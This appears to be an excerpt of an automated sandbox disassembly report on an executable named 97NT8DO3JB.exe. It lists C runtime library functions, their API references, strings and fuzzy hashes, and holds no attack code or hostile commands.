Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CreateDirectoryPath$FolderTemp
String ID: .exe$L]Z\
API String ID: 13841269-283220038
Opcode ID: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction ID: e5b59eca9d7b8102ef272d4c384d62ae6a80eeb774498df465e3083b9b96eb3f
Opcode Fuzzy Hash: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction Fuzzy Hash: 28E1C075A002589BDB28DF28CC88BADBBB5EF45304F6442DCD409AB391DB759AC4CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00405400 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00403050: ___std_exception_copy.LIBVCRUNTIME ref: 004030DF

std::locale::_Init.LIBCPMT ref: 0040550E

Part of subcall function 00407416: __EH_prolog3.LIBCMT ref: 0040741D
Part of subcall function 00407416: std::_Lockit::_Lockit.LIBCPMT ref: 00407428
Part of subcall function 00407416: std::locale::_Setgloballocale.LIBCPMT ref: 00407443
Part of subcall function 00407416: _Yarn.LIBCPMT ref: 00407459
Part of subcall function 00407416: std::_Lockit::~_Lockit.LIBCPMT ref: 00407499

Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63

std::locale::_Init.LIBCPMT ref: 004055D1
Concurrency::cancel_current_task.LIBCPMT ref: 004056E8
Concurrency::cancel_current_task.LIBCPMT ref: 004056ED

Part of subcall function 00401670: ___std_exception_copy.LIBVCRUNTIME ref: 004016AE

Strings

`\@, xrefs: 0040545F
Z@, xrefs: 004055B4

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$H_prolog3SetgloballocaleYarn
String ID: `\@$Z@
API String ID: 591049177-1951323669
Opcode ID: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction ID: e0c124fb8473088db41e93e823f42bbfa6e654b079ae24bd55585f3ff2e4fed9
Opcode Fuzzy Hash: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction Fuzzy Hash: 4DA134B0A00605DFDB00CF55C594B9ABBF0FF09304F1485AAE808AF792D7BAA944CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C20 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00402CA3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00402CEF
__Getctype.LIBCPMT ref: 00402D08
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00402D24
std::_Lockit::~_Lockit.LIBCPMT ref: 00402DB9

Strings

bad locale name, xrefs: 00402DD7

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1840309910-1405518554
Opcode ID: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction ID: 521a5c506aa32abf35a371aa3aec491995ea672d5ad7ed1dc5f5b637a1c2436e
Opcode Fuzzy Hash: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction Fuzzy Hash: EA5191B1D042589BDB10DFE5DD45B9EBBB8AF14304F14413AE804BB3C1E779AA04CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AA27
___except_validate_context_record.LIBVCRUNTIME ref: 0040AA2F
_ValidateLocalCookies.LIBCMT ref: 0040AAB8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040AAE3
_ValidateLocalCookies.LIBCMT ref: 0040AB38

Strings

csm, xrefs: 0040AACD

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: 966319c5c132bd8bd4a6a4c12a959da49c89f94429b79140b3e1eb370ccdc545
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: 4B41B634A003189BCF10DF69C884A9EBBB5EF44314F14806AEC156B3D2D7399A65CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415C15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\97NT8DO3JB.exe, xrefs: 00415C1A
h]A, xrefs: 00415C66

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\97NT8DO3JB.exe$h]A
API String ID: 0-1720573483
Opcode ID: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
Instruction ID: 45612b1d64fd260540ba2b052f4bac491d94d0f203439602371bd5a1426b9561
Opcode Fuzzy Hash: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
Instruction Fuzzy Hash: EE219871600705EFDB209F618C819EB77ADAF84368720462AF919E6291F739EC8197D8

Uniqueness

Uniqueness Score: -1.00%

Function 0041146B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 004114D6
api-ms-, xrefs: 004114C2

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: 4f46a66ffc02d64564e769461b8701469a3c5ddef2bd61c1abff7f2e40a9828d
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: 7D21DB71E01221B7CB318B289C45ADB37599B45B64F250122EE07AB3B1E738ED4185E9

Uniqueness

Uniqueness Score: -1.00%

Function 03687B66 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 036878B2: _free.LIBCMT ref: 036878D7

_free.LIBCMT ref: 03687BB4

Part of subcall function 036814C2: HeapFree.KERNEL32(00000000,00000000,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?), ref: 036814D8
Part of subcall function 036814C2: GetLastError.KERNEL32(?,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?,?), ref: 036814EA

_free.LIBCMT ref: 03687BBF
_free.LIBCMT ref: 03687BCA
_free.LIBCMT ref: 03687C1E
_free.LIBCMT ref: 03687C29
_free.LIBCMT ref: 03687C34
_free.LIBCMT ref: 03687C3F

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: fd7a07f70211c2e0448750cd55e864d54fb1d491d164a035cd15f389d6ae3107
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: AE113DB5641B04AAE530FBB0CC05FCB77DC5F09700F908E2DE29E6A050DB75B9869664

Uniqueness

Uniqueness Score: -1.00%

Function 004178FF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041764B: _free.LIBCMT ref: 00417670

_free.LIBCMT ref: 0041794D

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417958
_free.LIBCMT ref: 00417963
_free.LIBCMT ref: 004179B7
_free.LIBCMT ref: 004179C2
_free.LIBCMT ref: 004179CD
_free.LIBCMT ref: 004179D8

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: b263717b2ee302d070426abb39806d9dd9f29001171d9790ca4b07c3447dbd31
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: EF118171584B04AAD620B7B6CD47FCB77BD6F44714F804C1EB39FA60A2DA3CB5844A58

Uniqueness

Uniqueness Score: -1.00%

Function 03689E37 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 03689E7F
__fassign.LIBCMT ref: 0368A064
__fassign.LIBCMT ref: 0368A081
WriteFile.KERNEL32(?,03681E4A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0368A0C9
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0368A109
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0368A1B1

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction ID: 054f0142f1807544fb822efc987c44de84c996c0bb8d6c3cfdb9b24b2207a25c
Opcode Fuzzy Hash: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction Fuzzy Hash: 61C17B75D002589FCB15DFE8C9809EDFBB9AF0C314F28826AE855BB341D7319946CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00419BD0 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 00419C18
__fassign.LIBCMT ref: 00419DFD
__fassign.LIBCMT ref: 00419E1A
WriteFile.KERNEL32(?,00411BE3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419E62
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419EA2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419F4A

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction ID: f79c40bb9f0dc0ab6f4f58e5de5b62f30820cb7fcfbecd81f5f7db26c050ad02
Opcode Fuzzy Hash: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction Fuzzy Hash: 5FC19D71D002589FCB14CFA9C8909EDBBB9EF48314F28816AE859F7341D6359D86CF68

Uniqueness

Uniqueness Score: -1.00%

Function 03677D00 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 03677D49
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 03677DB4
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03677DD1
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03677E10
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03677E6F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 03677E92

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction ID: 5aeb68d36ab6440e2c295ff1c30f92aa0221925c4400800f5b220ef1eebffe00
Opcode Fuzzy Hash: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction Fuzzy Hash: 8051B07292020AAFEB20DF60CD45FBBBBBAEF44754F994429F9049A290D770DD11CB64

Uniqueness

Uniqueness Score: -1.00%

Function 03675FD7 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0367600D
std::_Lockit::_Lockit.LIBCPMT ref: 03676030
std::_Lockit::~_Lockit.LIBCPMT ref: 03676050
std::_Facet_Register.LIBCPMT ref: 036760B2
std::_Lockit::~_Lockit.LIBCPMT ref: 036760CA
Concurrency::cancel_current_task.LIBCPMT ref: 036760ED

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction ID: 5e230fd004ba99785c1d8939c8445f68ea3ac53d5b986e6ad32542512a10464e
Opcode Fuzzy Hash: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction Fuzzy Hash: A4310271A00615CFCB20DF58CA40AAEBBB4FB04320F99416DD8456B390DB35A946CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D70 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
std::_Facet_Register.LIBCPMT ref: 00405E4B
std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63
Concurrency::cancel_current_task.LIBCPMT ref: 00405E86

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction ID: 428a045f89a980e3aae625c1e15810528890a39a57655d698abf225f353de2ef
Opcode Fuzzy Hash: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction Fuzzy Hash: BA31AA71E046198BCB20DF54D984AAFB7B1EB04324F55017EE805772D1DB38AE02CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 0367AE1B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0367AE12,03679486,03678AC0), ref: 0367AE29
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0367AE37
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0367AE50
SetLastError.KERNEL32(00000000,0367AE12,03679486,03678AC0), ref: 0367AEA2

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction ID: b390c18d7bdd28bba3f6d5ac37d7d2ca39d840c160e08a96dd1c91b8959ef9b5
Opcode Fuzzy Hash: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction Fuzzy Hash: DC01D436A293126FE735AFF8FC84E6F2B99EB016797A0037DE410593E0EF1948126149

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABB4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040ABAB,0040921F,00408859), ref: 0040ABC2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ABD0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ABE9
SetLastError.KERNEL32(00000000,0040ABAB,0040921F,00408859), ref: 0040AC3B

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction ID: 1585e31ea0df4eff19312e57cd220c703c89e953a1065a25df23f812ed0ef9fb
Opcode Fuzzy Hash: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction Fuzzy Hash: 2101B53260C3129FE6342BB56C859672A54EB51778720023FF510B22E2EB3D4C23558E

Uniqueness

Uniqueness Score: -1.00%

Function 03675667 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 036732B7: ___std_exception_copy.LIBVCRUNTIME ref: 03673346

std::locale::_Init.LIBCPMT ref: 03675775

Part of subcall function 0367767D: std::_Lockit::_Lockit.LIBCPMT ref: 0367768F
Part of subcall function 0367767D: std::locale::_Setgloballocale.LIBCPMT ref: 036776AA
Part of subcall function 0367767D: _Yarn.LIBCPMT ref: 036776C0
Part of subcall function 0367767D: std::_Lockit::~_Lockit.LIBCPMT ref: 03677700

Part of subcall function 03675FD7: std::_Lockit::_Lockit.LIBCPMT ref: 0367600D
Part of subcall function 03675FD7: std::_Lockit::_Lockit.LIBCPMT ref: 03676030
Part of subcall function 03675FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 03676050
Part of subcall function 03675FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 036760CA

std::locale::_Init.LIBCPMT ref: 03675838
Concurrency::cancel_current_task.LIBCPMT ref: 0367594F
Concurrency::cancel_current_task.LIBCPMT ref: 03675954

Part of subcall function 036718D7: ___std_exception_copy.LIBVCRUNTIME ref: 03671915

Strings

hyB, xrefs: 036756C6

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$SetgloballocaleYarn
String ID: hyB
API String ID: 3444572950-3752501641
Opcode ID: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction ID: aa2e4ba91a52f74a5d6fe00c8701e75dc5da9e4b102ce200fc49fb61dd3dc2e3
Opcode Fuzzy Hash: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction Fuzzy Hash: DBA132B4A00305DFEB00CF58C494B9ABBF0BF09314F5482A9D9099F791D7B6A998CF94

Uniqueness

Uniqueness Score: -1.00%

Function 03685E7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\97NT8DO3JB.exe, xrefs: 03685E81

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\97NT8DO3JB.exe
API String ID: 0-3126857512
Opcode ID: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction ID: 1af9aec28ce1ccaacaea9fccef319f7ba743a2d4999d93dc506dec9b9ff52f28
Opcode Fuzzy Hash: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction Fuzzy Hash: 5E21C2B1604305BFEB20FF758C809AA776DAF0A264B144758F6169B250EB31EC518BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD87 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BE48,?,?,0042B440,00000000,?,0040BF73,00000004,InitializeCriticalSectionEx,0041EB20,InitializeCriticalSectionEx,00000000), ref: 0040BE17

Strings

api-ms-, xrefs: 0040BDD7

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: e5d4ee3c6a6847cb9dea89b3177c7606f989430977cf522e8fd3af181ee602d5
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 1C11E375E41621ABCB228B69DC41B9A73A4EF01770F240532EA01F73C1D778ED0086ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C6D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040C6EB
FreeLibrary.KERNEL32(00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C70E

Strings

CorExitProcess, xrefs: 0040C6E3
mscoree.dll, xrefs: 0040C6D1

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction ID: 206cf139684a9169e9adee9fe9aced5f01fd37e22cfc85179c7a1906029aafee
Opcode Fuzzy Hash: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction Fuzzy Hash: 26F08231900219FBDB119BA1DD4ABDEBA65EB04755F204071E805B22A0DB788E00DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0367FC47 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

_free.LIBCMT ref: 0367FF32
_free.LIBCMT ref: 0367FF4B
_free.LIBCMT ref: 0367FF89
_free.LIBCMT ref: 0367FF92
_free.LIBCMT ref: 0367FF9E

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction ID: 49b8dcfeda8cad48335be1ed00e94600019f63268c08511953f9176ad726b24a
Opcode Fuzzy Hash: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction Fuzzy Hash: 39B16A75A012199FDB24DF18C984EA9B3B4FF48304F9485EEE849AB350DB70AE91CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9E0 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

_free.LIBCMT ref: 0040FCCB
_free.LIBCMT ref: 0040FCE4
_free.LIBCMT ref: 0040FD22
_free.LIBCMT ref: 0040FD2B
_free.LIBCMT ref: 0040FD37

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction ID: b8379e73fcc390cbfd91c32178745e39a50c2e601da78d42e8ddde05ba45d347
Opcode Fuzzy Hash: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction Fuzzy Hash: ECB15C75A056199FDB34DF18C885AAAB3B5FF48304F1045BEE80AA7790D734AE94CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0041A94C
__alloca_probe_16.LIBCMT ref: 0041AA02
__alloca_probe_16.LIBCMT ref: 0041AA98
__freea.LIBCMT ref: 0041AB03
__freea.LIBCMT ref: 0041AB0F

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
